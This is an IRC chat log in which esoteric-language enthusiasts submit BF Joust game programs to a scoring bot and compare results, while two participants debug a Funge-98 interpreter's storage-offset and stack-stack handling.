17:28:58 <elliott> Deewiant: Why didn't you tell me this.
17:29:03 <elliott> *offset
17:29:04 <impomatic> !bfjoust wait [](+)*128(>[-])*30
17:29:13 <EgoBot> Score for impomatic_wait: 5.4
17:29:15 <ais523> also, I don't get how defend7 beats stridewire
17:29:16 <ais523> oh, yes I do
17:29:38 <ais523> !bfjoust stridewire (>)*9[(-----[+]>)*20[[+]]]>>[(-----[+]>)*18[[+]]]>>[(-----[+]>)*16[[+]]]>>[(-----[+]>)*14[[+]]]>>[(-----[+]>)*12[[+]]]>>[(-----[+]>)*10[[+]]]>>[(-----[+]>)*8[[+]]]>>[(-----[+]>)*6[[+]]]>>[(-----[+]>)*4[[+]]]>>[(-----[+]>)*2[[+]]]>>[[+]]>[[+]]
17:29:43 <elliott> Deewiant is laughing now.
17:29:45 <EgoBot> Score for ais523_stridewire: 21.4
17:29:51 <ais523> hmm, maybe I don't
17:29:53 <Deewiant> elliott: I was going to tell you about it when you said you need stringmode but then you distracted me with the position+delta naming thing
17:29:57 <elliott> :D
17:30:03 <ais523> I may run that one offline to see what happens
17:30:05 <elliott> Deewiant: Is this offset stuff per-IP?
17:30:09 <Deewiant> Yes
17:30:25 <Deewiant> Your IP structure is only going to grow, live with it :-P
17:30:29 <elliott> Deewiant: Have I ever told you how much I hate you? :D
17:30:41 <elliott> Deewiant: I might want to make IP extensible in the same way as the generic state structure, for fingerprints, the way this is going...
17:30:50 <impomatic> !bfjoust wait []+
17:30:57 <EgoBot> Score for impomatic_wait: 5.4
17:30:57 <Deewiant> You'll need in addition to what you have currently at least a thread ID and a set of fingerprint semantics stacks
17:32:18 <Deewiant> And actually I'm pretty sure that's all you'll need, assuming no fingerprints and concurrent funge-98
17:32:24 <impomatic> (+)*50000(>)*9([-
17:32:43 <quintopia> impomatic: i thought about doing that, but i realized it will frequently take two instructions to get to the + so you end up losing...
17:32:49 <impomatic> !bfjoust wait (+)*50000(>)*9([-]>)*21
17:33:05 <EgoBot> Score for impomatic_wait: 11.0
17:33:22 <impomatic> quintopia: Hmmm... will have to think of something different :-)
17:34:46 <elliott> Deewiant: Aaaargh.
17:34:50 <elliott> Deewiant: I HATE SYOU
17:34:51 <elliott> *HATES YOU
17:34:55 * elliott makes (!@@@)
17:34:59 <elliott> yes, three @s
17:35:15 <Deewiant> Why is growing your IP such a problem
17:35:53 <elliott> Deewiant: Nothing, just all the damn offsets I need EVERYWHERE because of this
17:36:12 <Deewiant> I recommend a "pop offset vector" function
17:36:14 <Ilari> APNIC last day: 0.04 blocks allocated.
17:36:49 <elliott> Deewiant: There's a STACK of them?!?!?!?!
17:37:01 <elliott> Deewiant: Can't I just keep them on the actual stack like it says, and store only the top in the IP?
17:37:06 <Deewiant> Uh?
17:37:14 <Deewiant> I meant, pop a vector and apply the offset to it
17:37:21 <elliott> Deewiant: Oh.
17:37:26 <elliott> Deewiant: I'm implementing it in my peek and poke functions instead.
17:37:28 <elliott> Is that bad? :p
17:37:35 <ais523> aha, defend7 beats stridewire because of its anti-tripwire decoy
17:37:38 <Deewiant> It'll get inconvenient
17:37:44 <Deewiant> You'll need it more later on
17:37:59 <elliott> Deewiant: Why :P
17:38:06 <Deewiant> i, for instance
17:38:11 <Deewiant> Just about everything that uses vectors :-P
17:39:00 <ais523> !bfjoust stridewire_faster (>)*9[(-----[+]>>)*10[[+]]]>>[(-----[+]>>)*9[[+]]]>>[(-----[+]>>)*8[[+]]]>>[(-----[+]>>)*7[[+]]]>>[(-----[+]>>)*6[[+]]]>>[(-----[+]>>)*5[[+]]]>>[(-----[+]>>)*4[[+]]]>>[(-----[+]>>)*3[[+]]]>>[(-----[+]>>)*2[[+]]]>>[(-----[+]>>)*1[[+]]]>[[+]]>[[+]]>[[+]]
17:39:02 <EgoBot> Score for ais523_stridewire_faster: 7.6
17:39:05 <ais523> I predict a low score for that
17:39:11 <ais523> not as low as I'd thought, actually
17:39:14 <elliott> Deewiant: But that's the thing
17:39:19 <elliott> Deewiant: Every single peek and poke is now offset
17:39:24 <elliott> Deewiant: So I don't have to think about it at all
17:39:27 <ais523> at least it beats defend7
17:39:33 <Deewiant> peek and poke are not the only things that are offset
17:39:46 <elliott> Deewiant: Everything apart from file loading goes through peek and poke.
17:39:55 <ais523> but that's the only improvement over regular stridewire
17:39:58 <Deewiant> Only things that touch funge-space go through peek and poke
17:40:00 <ais523> !bfjoust stridewire <
17:40:02 <EgoBot> Score for ais523_stridewire: 0.0
17:40:07 <elliott> Deewiant: Um ...
17:40:08 <Deewiant> And that "apart" is already one place you need to apply an offset :-P
17:40:09 <myndzi> haha, bfjoust is active again eh ;)
17:40:12 <elliott> Deewiant: Isn't that what the storage offset is.
17:40:20 <elliott> Funge-space only?
17:40:34 <Deewiant> There are things that push vectors that have been offset onto the stack
17:41:14 <elliott> Deewiant: FML
17:41:15 <ais523> !bfjoust tripstridewire (>)*9[>(-----[+]>)*19[[+]]]>>[>(-----[+]>)*17[[+]]]>>[>(-----[+]>)*15[[+]]]>>[>(-----[+]>)*13[[+]]]>>[>(-----[+]>)*11[[+]]]>>[>(-----[+]>)*9[[+]]]>>[>(-----[+]>)*7[[+]]]>>[>(-----[+]>)*5[[+]]]>>[>(-----[+]>)*3[[+]]]>>[>(-----[+]>)*1[[+]]]>[[+]]>[[+]]>[[+]]
17:41:17 <elliott> Deewiant: In fingerprints, you mean?
17:41:18 <EgoBot> Score for ais523_tripstridewire: 26.7
17:41:28 <Deewiant> At least in fingerprints
17:41:35 -!- BeholdMyGlory has joined.
17:41:44 <ais523> whoops, I deleted the original stridewire by mistake
17:41:52 <ais523> !bfjoust stridewire (>)*9[(-----[+]>)*20[[+]]]>>[(-----[+]>)*18[[+]]]>>[(-----[+]>)*16[[+]]]>>[(-----[+]>)*14[[+]]]>>[(-----[+]>)*12[[+]]]>>[(-----[+]>)*10[[+]]]>>[(-----[+]>)*8[[+]]]>>[(-----[+]>)*6[[+]]]>>[(-----[+]>)*4[[+]]]>>[(-----[+]>)*2[[+]]]>[[+]]>[[+]]>[[+]]
17:41:56 <EgoBot> Score for ais523_stridewire: 22.0
17:41:58 <ais523> !bfjoust stridewire_faster <
17:42:03 <EgoBot> Score for ais523_stridewire_faster: 0.0
17:42:12 <Ilari> A /13 to South Korea, a /14 to China, a /18, two /19s, a /20 and a /21 to Japan, a /18 to Pakistan, a /22 and a /24 to Australia, a /24 to Indonesia.
17:42:37 -!- Behold has quit (Read error: Operation timed out).
17:43:07 <elliott> "then sets the new storage offset to the location to be executed next by the IP (storage offset <- position + delta)"
17:43:07 <Ilari> On IPv6 front: a /32 to Japan and a /32 to Indonesia,
17:43:10 <elliott> Deewiant: How behave with wrap
17:43:11 <elliott> :P
17:43:25 <Deewiant> How whu what
17:44:25 <elliott> xD
17:44:30 <elliott> BAD: wraparound with non-cardinal delta doesn't work
17:44:30 <elliott> shiro: WTF? Executed 32.
17:44:39 <elliott> Deewiant: You don't handle { working but } reflecting.
17:45:01 <elliott> "} acts like r if a stack-stack underflow would otherwise occur (i.e. when there is only one stack on the stack-stack.)"
17:45:09 <elliott> Deewiant: I thought you said that the stack-stack was filled with infinite stacks.
17:45:15 <ais523> Gregor: this is confusing: stridewire and tripstridewire each beat the same set of programs, except that stridewire beats tripstridewire. So why is tripstridewire beating stridewire on points?
17:45:20 <Deewiant> elliott: I didn't say that, you said that.
17:45:23 <Deewiant> I argued against it. :-P
17:45:46 <elliott> Deewiant: So what happens on "u" with only one stack on the stack stack?
17:45:47 <Deewiant> And I do handle } reflecting
17:45:48 <elliott> Reflect?
17:45:53 <Deewiant> IIRC yes
17:46:07 <elliott> Woooo
17:46:17 <ais523> myndzi: I just came up with a new tactic
17:46:30 <ais523> which does really well against pretty much everyone but impomatic, who it fails horribly against
17:46:41 <ais523> I wonder if it's because impomatic uses a different sort of decoy, generally speaking?
17:48:57 <ais523> haha, I see what I did wrong
17:49:50 <ais523> !bfjoust tripstridewire (>)*9[(-----[+]>)*20[[+]]]>>[>(-----[+]>)*17[[+]]]>>[>(-----[+]>)*15[[+]]]>>[>(-----[+]>)*13[[+]]]>>[>(-----[+]>)*11[[+]]]>>[>(-----[+]>)*9[[+]]]>>[>(-----[+]>)*7[[+]]]>>[>(-----[+]>)*5[[+]]]>>[>(-----[+]>)*3[[+]]]>>[>(-----[+]>)*1[[+]]]>[[+]]>[[+]]>[[+]]
17:50:15 <elliott> Deewiant: If wraparound with non-cardinal delta doesn't work, does the { test fail or something? :P
17:50:24 <Deewiant> It shouldn't :-P
17:50:40 <EgoBot> Score for ais523_tripstridewire: 28.5
17:51:14 <elliott> Deewiant: Oh, I think I see the problem.
17:51:31 <elliott> Deewiant: I need to set the IP's position to (0,0) after changing the storage offset, right?
17:51:41 <Deewiant> Uh, no?
17:52:04 <Deewiant> Well, if all your funge-space access such as movement and stuff now uses the offset...
17:52:08 <Deewiant> Starting to see why that's a bad idea? :-D
17:52:17 <elliott> Deewiant: FML
17:52:23 <elliott> FML FML FML
17:52:27 <elliott> Okay right
17:52:28 <elliott> Code!
17:52:31 <elliott> I have done this before
17:52:32 <elliott> Coding, that is
17:52:36 <elliott> I am sure I can do it some more
17:53:48 -!- asiekierka has quit (Read error: Operation timed out).
17:54:04 <elliott> Deewiant: Is x's vector offset? :P
17:54:11 <elliott> (Joke.)
17:54:53 <elliott> BAD: { transfers cells incorrectly
17:54:53 <elliott> 10 0 0 Stopping due to fear of corrupt stack stack
17:55:12 <elliott> Deewiant: I did a bad!
17:55:17 <Deewiant> That bit is fairly robust and careful :-D
17:55:31 <elliott> Deewiant: Does that mean I fucked it up incredibly badly? :D
17:55:34 <Gregor> elliott: Is "stack stack" a joke, or a semi-intentional result of stack corruption?
17:55:41 <elliott> Gregor: Neither.
17:55:47 <Deewiant> It's a stack of stacks
17:55:49 <elliott> Gregor: Funge-98 has an actual, honest to god, stack of stacks.
17:55:55 <Deewiant> You fucked it up badly enough that I haven't predicted that result
17:55:56 <elliott> Called the stack stack.
17:55:58 <elliott> Deewiant: :-D
17:56:06 <elliott> n <- pop
17:56:06 <elliott> pushStack []
17:56:06 <elliott> if n >= 0
17:56:06 <elliott> then transfer (fromIntegral n)
17:56:06 <elliott> else replicateM_ (fromIntegral (abs n)) $ modifySOSS (0:)
17:56:07 <elliott> ip <- gets ip
17:56:09 <elliott> let Ray (x,y) (dx,dy) = ray ip
17:56:11 <elliott> let (ox,oy) = storageOffset ip
17:56:13 <elliott> modifySOSS $ (oy:) . (ox:)
17:56:15 <elliott> modifyIP $ \ip -> ip{ storageOffset = (x+dx, y+dy) }
17:56:16 <Deewiant> Honestly, I don't think I have any specific checks there
17:56:24 <Deewiant> Just correctly/incorrectly, and if incorrectly -> bail
17:57:44 <impomatic> !bfjoust wait >+++>++[]<((+)*128(>)*8(+.)*56(<)*8)*3((+)*128(>)*9(+.)*55(<)*9)*3((+)*128(>)*10(+.)*54(<)*10)*3((+)*128(>)*11(+.)*53(<)*11)*3((+)*128(>)*12(+.)*52(<)*12)*3((+)*128(>)*13(+.)*51(<)*13)*3((+)*128(>)*14(+.)*50(<)*14)*3((+)*128(>)*15(+.)*49(<)*15)*3((+)*128(>)*16(+.)*48(<)*16)*3((+)*128(>)*17(+.)*47(<)*17)*3((+)*128(>)*18(+.)*46(<)*18)*3((+)*128(>)*19(+.)*45(<)*19)*3((+)*128(>)*20(+.)*4
17:57:46 <impomatic> 4(<)*20)*3(>[-])*30
17:57:47 <EgoBot> Score for impomatic_wait: 0.0
17:57:54 <Gregor> impomatic: lawl
17:58:03 <Gregor> impomatic: I am truly impressed.
17:58:03 <elliott> impomatic: TOOOOOOOO BIIIIIIIIIIIIIIIG
17:58:05 <elliott> PROVIDE URL
17:58:16 <coppro> !bfjoust awful +
17:58:25 <EgoBot> Score for coppro_awful: 8.7
17:58:28 <coppro> O_o
17:58:32 <elliott> Deewiant: It's oy:ox:rest of stack, right?
17:58:39 <elliott> Deewiant: i.e. TOS oy ox ... BOS
17:58:44 <elliott> For pushing the offset.
17:58:58 <Gregor> coppro: You can cause other competitors to wander off the tepe while you do nothing.
17:59:02 <Deewiant> I forget, probably yes.
17:59:11 <Gregor> DAMN IT
17:59:12 <coppro> Gregor: apparently
17:59:12 <Gregor> pooppy: You can cause other competitors to wander off the tepe while you do nothing.
17:59:20 <ais523> !bfjoust tripstridewire <
17:59:23 <EgoBot> Score for ais523_tripstridewire: 0.0
18:00:03 <Gregor> Brilliant :P
18:00:05 <elliott> Gregor: Why would they wonder of the tepee?
18:00:07 <ais523> !bfjoust tripwire_antidecoy (>)*9[((-)*10[+]>)*20[[+]]]>>[((-)*10[+]>)*18[[+]]]>>[((-)*10[+]>)*16[[+]]]>>[((-)*10[+]>)*14[[+]]]>>[((-)*10[+]>)*12[[+]]]>>[((-)*10[+]>)*10[[+]]]>>[((-)*10[+]>)*8[[+]]]>>[((-)*10[+]>)*6[[+]]]>>[((-)*10[+]>)*4[[+]]]>>[((-)*10[+]>)*2[[+]]]>>[[+]]>[[+]]
18:00:11 <EgoBot> Score for ais523_tripwire_antidecoy: 24.2
18:00:21 <Gregor> elliott: They didn't find any tripwires, but were expecting them.
18:00:41 <ais523> !bfjoust tripwire_antidecoy <
18:00:44 <EgoBot> Score for ais523_tripwire_antidecoy: 0.0
18:00:47 <ais523> umm, that was meant to be stridewire_antidecoy
18:00:52 <elliott> Deewiant: Ohwait, they're transferred as a block >_<
18:01:10 <ais523> but nonetheless, making it better against impomatic hurts it against Lymia and jix
18:01:13 <Gregor> !bfjoust wtf >+[(+)*126>+]
18:01:18 <EgoBot> Score for Gregor_wtf: 0.2
18:01:19 <elliott> Deewiant: I LIKE THE PART WHERE { AND U BEHAVE TOTALLY DIFFERENTLY
18:01:45 <Deewiant> Going to quit before you're done?-)
18:01:49 <elliott> Deewiant: NOPE
18:01:54 <Phantom_Hoover> http://www.amazon.com/FarmVille-Dummies-Angela-Morales/dp/1118016963
18:01:59 <Phantom_Hoover> Oh dear Christ.
18:02:02 <Phantom_Hoover> WE ARE ALL GOING TO DIE
18:02:09 <elliott> Deewiant: Current plan: Get it totally passing Mycology. Clean things up. Optimise a little bit. Get fingerprint infrastructure. Implement a bunch. Clean up & optimise.
18:02:17 -!- MigoMipo has quit (Ping timeout: 245 seconds).
18:02:25 <Gregor> Phantom_Hoover: I ... I do not want to live in this world.
18:02:28 <Deewiant> If you start with TRDS you can cut down "a bunch" to "none"
18:02:29 <ais523> interesting fact: stridewire wins 1/21 against defend7; tripstridewire wins 10/21
18:02:32 <Phantom_Hoover> Gregor, NOR I
18:02:37 <ais523> which is why it was scoring better
18:02:43 <Phantom_Hoover> Gnomeo and Juliet *and* this?
18:03:00 <elliott> FarmVille is like Minecraft except with social interaction.</troll>
18:03:05 <elliott> TROLL TROLL TROLL
18:03:13 <Phantom_Hoover> elliott, THERE IS NO MINECRAFT FOR DUMMIES
18:03:25 <elliott> yes there is
18:03:27 <elliott> it's called minecraft
18:03:28 <elliott> HURHURHUHRUHRUR
18:04:05 <Vorpal> wait. Isn't minecraft just Dwarf Fortress for dummies?
18:04:27 <Phantom_Hoover> Anyway, Gnomeo and Juliet must be stopped at the source.
18:04:34 <Gregor> Phantom_Hoover: 288 pages
18:04:38 <Phantom_Hoover> We must go back in time and kill William Shakespeare.
18:04:40 <Vorpal> Phantom_Hoover, "Gnomeo"?
18:05:06 <Phantom_Hoover> Gregor, ah, but killing Shakespeare will alter the course of history sufficiently that Mark Zuckerberg won't even be born.
18:05:12 <Gregor> I recall having a book once titled "The Complete Idiots Guide for Dummies"
18:05:14 <Gregor> It was pretty funny.
18:05:28 <elliott> Deewiant: What IS the point of that pushing zeroes on the SOSS for negatives thing?
18:05:39 <Gregor> Vorpal: Google.
18:05:51 <elliott> Googlemio
18:05:54 <elliott> *meo
18:06:02 <elliott> Deewiant: It hangs now!!!!!
18:06:09 <Deewiant> elliott: At least it's specced instead of undefined
18:06:10 <ais523> !bfjoust tripstridewire (>)*9[(-----[+]>)*20[[+]]]>>[>(-----[+]>)*17[[+]]]>>[>(-----[+]>)*15[[+]]]>>[>(-----[+]>)*13[[+]]]>>[>(-----[+]>)*11[[+]]]>>[>(-----[+]>)*9[[+]]]>>[>(-----[+]>)*7[[+]]]>>[>(-----[+]>)*5[[+]]]>>[>(-----[+]>)*3[[+]]]>>[>(-----[+]>)*1[[+]]]>[[+]]>[[+]]
18:06:13 <EgoBot> Score for ais523_tripstridewire: 28.3
18:06:15 <Vorpal> oh my. what the heck
18:06:36 <elliott> Vorpal: why the fuck is { so crazy
18:06:41 <Vorpal> luckily the actual site is flash so I can't see anything!
18:06:46 <Vorpal> elliott, uh is it?
18:06:55 <elliott> Vorpal: um yes
18:07:05 <Vorpal> elliott, which part of it in specific?
18:07:16 <elliott> ALL OF IT
18:07:17 <elliott> Especially the
18:07:22 <elliott> 30-{
18:07:27 <elliott> pushing 3 zeroes on the SOSS
18:07:27 <elliott> thing
18:07:35 <Vorpal> elliott, "because the spec says so"
18:07:41 <elliott> CRAZY
18:07:49 <ais523> aha, the reason that tripstridewire does better than stridewire on the leaderboard is that it wins just below 50%, rather than 0%, against certain enemys
18:07:51 <ais523> *enemies
18:07:55 <ais523> like defend7, and some of impomatic's
18:08:26 <impomatic> ais523: doesn't tripstridewire fall off the end after (>)*9[(-----[+]>)*20
18:08:45 <ais523> impomatic: that's 29 spaces
18:08:50 <elliott> Deewiant: Does it tell you that { is good before failing at }?
18:09:04 <Deewiant> It probably should, yes
18:09:05 <ais523> although that's a good point; if it encounters something after 9 spaces, clearly the actual flag must be within another 9
18:09:13 <elliott> Deewiant: Indeed.
18:09:18 <Vorpal> ais523, where is the score board now again?
18:09:31 <elliott> Deewiant: I have a contraversial opinion to tell.
18:09:36 <Deewiant> o*
18:09:44 <elliott> Deewiant: I think Funge-98 is fucking nuts and was invented by crackheaded monkeys on crack.
18:09:48 <ais523> !bfjoust tripstridewire (>)*9[(-----[+]>)*9[[+]]]>>[>(-----[+]>)*11[[+]]]>>[>(-----[+]>)*13[[+]]]>>[>(-----[+]>)*13[[+]]]>>[>(-----[+]>)*11[[+]]]>>[>(-----[+]>)*9[[+]]]>>[>(-----[+]>)*7[[+]]]>>[>(-----[+]>)*5[[+]]]>>[>(-----[+]>)*3[[+]]]>>[>(-----[+]>)*1[[+]]]>[[+]]>[[+]]
18:09:51 <EgoBot> Score for ais523_tripstridewire: 28.5
18:09:59 <Deewiant> You may not be entirely wrong
18:09:59 <ais523> Vorpal: http://codu.org/eso/bfjoust/report.txt
18:10:03 <Deewiant> But then, most esolangs are like that
18:10:08 <Vorpal> !bfjoust test (-)*1000
18:10:15 <EgoBot> Score for Vorpal_test: 12.9
18:10:19 <Vorpal> !bfjoust test (-)*10000
18:10:24 <ais523> impomatic: it turned out to make basically no difference, but it helped very slightly, there must be a corner case where that's useful
18:10:26 <EgoBot> Score for Vorpal_test: 12.9
18:10:27 <elliott> Deewiant: At least with most of them, implementation is a brief experience of pain.
18:10:29 <Vorpal> yay
18:10:43 <elliott> Deewiant: As opposed to a week-long experience of pain with direct access to the guy who's already read the mushy tea leaves.
18:10:47 <ais523> Vorpal: oh come on, what does that beat? apart from tripstridewire?
18:11:01 <elliott> `addquote <Vorpal> !bfjoust test (-)*10000 <EgoBot> Score for Vorpal_test: 12.9 <Vorpal> yay
18:11:03 <quintopia> ais523: anything that [-] on the flag before >
18:11:07 <Vorpal> ais523, I was wondering
18:11:15 <Deewiant> elliott: That's because they're all boringly simple
18:11:16 <ais523> oh, also regular stridewire
18:11:25 <elliott> Deewiant: Underload is boring and simple? :p
18:11:38 <ais523> and large_decoy_attack, and shade
18:11:51 <Vorpal> ais523, I was actually interested in if that would help with the "0 at the end of two turns" thing
18:11:56 <Deewiant> elliott: If it can be implemented in befunge-98 without too much trouble, it's simple :-D
18:11:57 <ais523> the moment I put tripwire programs in, everyone suddenly busts out the anti-tripwire programs
18:12:00 <ais523> and indeed it does
18:12:09 <ais523> I think one of my early defense programs work a bit like that
18:12:10 <Vorpal> ais523, and yeah
18:12:18 <ais523> and defend7 does it too, but only in contexts where it knows it's likely to help
18:12:24 <ais523> *works a bit like that
18:12:28 <impomatic> !bfjoust simple (>)*9(-----[+]>)*21
18:12:31 <myndzi> ais523: i think most of the programs on the hill are over a year old
18:12:31 <HackEgo> 295) <Vorpal> !bfjoust test (-)*10000 <EgoBot> Score for Vorpal_test: 12.9 <Vorpal> yay
18:12:36 <EgoBot> Score for impomatic_simple: 6.0
18:12:40 <myndzi> i don't think anyone has been busting out "anti-tripwire" programs on you ;p
18:12:40 <ais523> Vorpal: set the repeat coutn up to a million
18:12:49 <myndzi> but because defend did well, that got incorporated into most of the active programs
18:12:55 <Vorpal> ais523, why?
18:13:02 <myndzi> and to be honest it doesn't usually hurt anything
18:13:07 <ais523> myndzi: "anti-tripwire" is any stupid simple program that doesn't set up decoys in order to make tripwires suicide
18:13:10 <Vorpal> but here we go
18:13:10 <Vorpal> !bfjoust test (-)*1000000
18:13:17 <Gregor> !bfjoust durptarded [[(+)*10000(-)*10000]+]
18:13:28 <myndzi> i thought tripwire was prettty much the opposite?
18:13:30 <ais523> Vorpal: so the interp times out as a draw, rather than your program losing when it runs out of repeats
18:13:32 <myndzi> waiting on a cell to change and then acting
18:13:37 <Vorpal> ais523, aha
18:13:38 <ais523> myndzi: no, that's defend7, etc
18:13:45 <Vorpal> ais523, it seems to take a while
18:13:47 <EgoBot> Score for Vorpal_test: 12.3
18:13:47 <ais523> tripwire looks for the first nonzero value, assumes it's a decoy, and skips it
18:13:48 <EgoBot> Score for Gregor_durptarded: 11.7
18:13:48 <myndzi> which is what i remember us calling a 'tripwire'
18:13:49 <Vorpal> I wonder why
18:13:56 <Vorpal> ais523, wait, why did that preform worse?
18:14:04 <ais523> some programs really were going ot the end
18:14:07 <myndzi> then itt's reverse-named ;p
18:14:21 <ais523> and I think because it changed the relative standings of some of the others
18:14:26 <ais523> myndzi: indeed, it's a tripwire avoider
18:14:29 <ais523> shortened to "tripwire"
18:14:31 <Vorpal> ais523, ah
18:14:36 <myndzi> well there you go
18:14:40 <ais523> and it's a little late to change the name now
18:14:41 <myndzi> i thought you meant anti-tripwire the technique
18:14:46 <myndzi> not anti-tripwire the program
18:14:46 <myndzi> haha
18:14:52 <myndzi> you could nuke it and rename it
18:14:53 <myndzi> ;)
18:15:07 <Vorpal> !bfjoust test (++-)*1000000
18:15:24 <Vorpal> probably will suck
18:15:26 <EgoBot> Score for Vorpal_test: 30.4
18:15:27 <myndzi> it's fun to see the programs i wrote so long ago still there, but not as fun when i realize it's because nobody played in all that time ;D
18:15:28 <Vorpal> what
18:15:31 <quintopia> :O
18:15:32 <Vorpal> that's amazing
18:15:39 <ais523> wow, tripstridewire vs. mirage is really bizarre
18:15:48 <elliott> `addquote <Vorpal> !bfjoust test (++-)*1000000 <Vorpal> probably will suck <EgoBot> Score for Vorpal_test: 30.4 <Vorpal> what
18:15:49 <HackEgo> 296) <Vorpal> !bfjoust test (++-)*1000000 <Vorpal> probably will suck <EgoBot> Score for Vorpal_test: 30.4 <Vorpal> what
18:15:50 <Vorpal> ais523, see the last score
18:15:52 <myndzi> Vorpal: because it changes the timing
18:15:59 <quintopia> elliott: i was about to quote that too
18:16:03 <Vorpal> myndzi, true, but I didn't expect it to do that much
18:16:05 <elliott> !bfjoust (++++--)*1000000
18:16:05 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
18:16:08 <myndzi> see if you are going - every time
18:16:13 <elliott> !bfjoust probably_will_suck (++++--)*1000000
18:16:16 <myndzi> and some program is looping on - every other
18:16:24 <myndzi> maybe the loop never ends, depending on timings
18:16:26 <EgoBot> Score for elliott_probably_will_suck: 13.1
18:16:28 <ais523> try it yourself, see what will happen
18:16:33 <myndzi> but since you add some wobble.. :)
18:16:42 <elliott> !bfjoust probably_will_suck ((+)*19(-)*18)*1000000
18:16:55 <EgoBot> Score for elliott_probably_will_suck: 13.5
18:16:57 <myndzi> i dunno, i forget exactly how ] is determined when two programs write to the same cell
18:17:20 <ais523> Vorpal_test is an ais523-beater, it loses to more or less everyone else
18:17:20 <myndzi> ++- is better because lots of [-] or [+]
18:17:24 <myndzi> it decrements every other
18:17:28 <ais523> thanks for pushing me right down the leaderboard, Vorpal!
18:17:32 <myndzi> lol.
18:17:36 <Vorpal> elliott, guess I hit a sweet spot with the numbers there
18:17:47 <elliott> Vorpal: rather, i think it's because your test program beat ais523 only
18:17:51 <elliott> and now ais523 is low down the leaderboard
18:17:52 <Vorpal> ais523, not intended. Also: For science!
18:17:53 <elliott> so it can't be repeated
18:17:57 <quintopia> !bfjoust definitely_will_suck [--]+[[+-]+]+
18:17:58 <elliott> !bfjoust probably_will_suck (++-)*1000000
18:18:06 <Vorpal> elliott, actually a bit more than just ais it seems
18:18:10 <ais523> Vorpal: obviously, but it's still amusing
18:18:24 <myndzi> i didn't think that your score depended on the score of the opponents, just how many wins you get?
18:18:25 <ais523> anyway, it beat /all/ my programs, apart from defend7 which was a rather obvious draw
18:18:29 <myndzi> ais didn't get knocked off so..?
18:18:29 <Gregor> I notice there are no evolved programs on the chart :P
18:18:30 <elliott> myndzi: nope, it does
18:18:36 <myndzi> oh
18:18:38 <EgoBot> Score for quintopia_definitely_will_suck: 9.4
18:18:39 <EgoBot> Score for elliott_probably_will_suck: 26.5
18:18:42 <elliott> Vorpal: see?
18:18:43 <elliott> well
18:18:44 <elliott> not bad :P
18:18:46 <elliott> but not as good
18:18:46 <ais523> Gregor: there are two
18:18:51 <ais523> the two by Lymia__
18:18:54 <elliott> !bfjoust probably_will_suck (-++)*1000000
18:19:02 <ais523> elliott: isn't that just what Vorpal did?
18:19:04 <Gregor> Holy fekk there are O_O
18:19:07 <Gregor> I didn't notice those X-P
18:19:09 <ais523> except backwards
18:19:13 <quintopia> i wonder what definitely_will_suck beat
18:19:14 <Gregor> One's got 24 points O_O
18:19:16 <Vorpal> elliott, you pushed mine down too
18:19:17 <elliott> Gregor: :-D
18:19:18 <EgoBot> Score for elliott_probably_will_suck: 23.4
18:19:25 <elliott> Gregor: Is this invalidating your life-long creationist beliefs?
18:19:27 <myndzi> o yeah, thanks
18:19:29 <myndzi> ;)
18:19:31 <Gregor> elliott: YES
18:19:34 <elliott> Gregor: :D
18:19:35 <ais523> and just like that, stridewire fell back off the leaderboard
18:19:47 <Vorpal> !bfjoust test >+>+<<(++-)*1000000
18:19:49 <ais523> tripstridewire is definitely an interesting concept, though; I'll have to look into it more
18:19:53 <variable> we have a creationist here? Hersey!
18:19:57 <Gregor> elliott: Actually it's invalidating my punctuated design beliefs since I haven't seen a punctuation yet :P
18:20:04 <Gregor> variable: I'm kidding, I'm not a retard.
18:20:07 <variable> and yes - I know that's a chocolate
18:20:10 <EgoBot> Score for Vorpal_test: 20.3
18:20:11 <myndzi> hmm, i think i had more than one on by nescience, what fell off?
18:20:16 <variable> Gregor, you missed the joke
18:20:23 <ais523> !bfjoust tripstridewire_faster (>)*9[(-[+]>)*9[[+]]]>>[>(-[+]>)*11[[+]]]>>[>(-[+]>)*13[[+]]]>>[>(-[+]>)*13[[+]]]>>[>(-[+]>)*11[[+]]]>>[>(-[+]>)*9[[+]]]>>[>(-[+]>)*7[[+]]]>>[>(-[+]>)*5[[+]]]>>[>(-[+]>)*3[[+]]]>>[>(-[+]>)*1[[+]]]>[[+]]>[[+]]
18:20:25 <myndzi> isn't theere an archive somewhere
18:20:27 <EgoBot> Score for ais523_tripstridewire_faster: 24.5
18:20:35 <elliott> io$print "hi"
18:20:35 <elliott> mapM_ push (padTake 0 n s)
18:20:36 <elliott> io$print "alas, the eve of donkeys is not at hand"
18:20:36 <elliott> I looooove my debug statements.
18:20:41 <myndzi> oh right it was like, a git repository or something
18:20:45 <myndzi> i don't have any of that shit set up here
18:20:46 <elliott> myndzi: hg
18:20:47 <Gregor> variable: Also, that's not a chocolate, that's an adjective meaning "similar to a hearse"
18:20:51 <Vorpal> !bfjoust test (--+)*1000000
18:20:52 <elliott> that's because u suk lol
18:20:56 <ais523> very similar score, but the wins and losses are in different places
18:20:59 <myndzi> or because i never use it :P
18:21:05 <myndzi> it's on my old laptop at work
18:21:16 <ais523> !bfjoust tripstridewire_faster (>)*9[(--[+]>)*9[[+]]]>>[>(--[+]>)*11[[+]]]>>[>(--[+]>)*13[[+]]]>>[>(--[+]>)*13[[+]]]>>[>(--[+]>)*11[[+]]]>>[>(--[+]>)*9[[+]]]>>[>(--[+]>)*7[[+]]]>>[>(--[+]>)*5[[+]]]>>[>(--[+]>)*3[[+]]]>>[>(--[+]>)*1[[+]]]>[[+]]>[[+]]
18:21:17 <elliott> Deewiant: Woo, now it's back to being incorrect
18:21:24 <Deewiant> Woo
18:21:33 <EgoBot> Score for Vorpal_test: 22.5
18:21:33 <EgoBot> Score for ais523_tripstridewire_faster: 19.5
18:21:35 <myndzi> (see what i was talking about yesterday about fiddling constants until you win, then someone else does it? ;)
18:21:36 <elliott> Deewiant: IT WORKS
18:21:38 <elliott> ^____^^^^^^^^
18:21:48 <ais523> !bfjoust tripstridewire_faster (>)*9[(-[+]>)*9[[+]]]>>[>(-[+]>)*11[[+]]]>>[>(-[+]>)*13[[+]]]>>[>(-[+]>)*13[[+]]]>>[>(-[+]>)*11[[+]]]>>[>(-[+]>)*9[[+]]]>>[>(-[+]>)*7[[+]]]>>[>(-[+]>)*5[[+]]]>>[>(-[+]>)*3[[+]]]>>[>(-[+]>)*1[[+]]]>[[+]]>[[+]]
18:21:48 <myndzi> too bad there's no 'age' statistic
18:21:50 <elliott> myndzi: clearly it should try your program with every constant
18:21:53 <elliott> :D
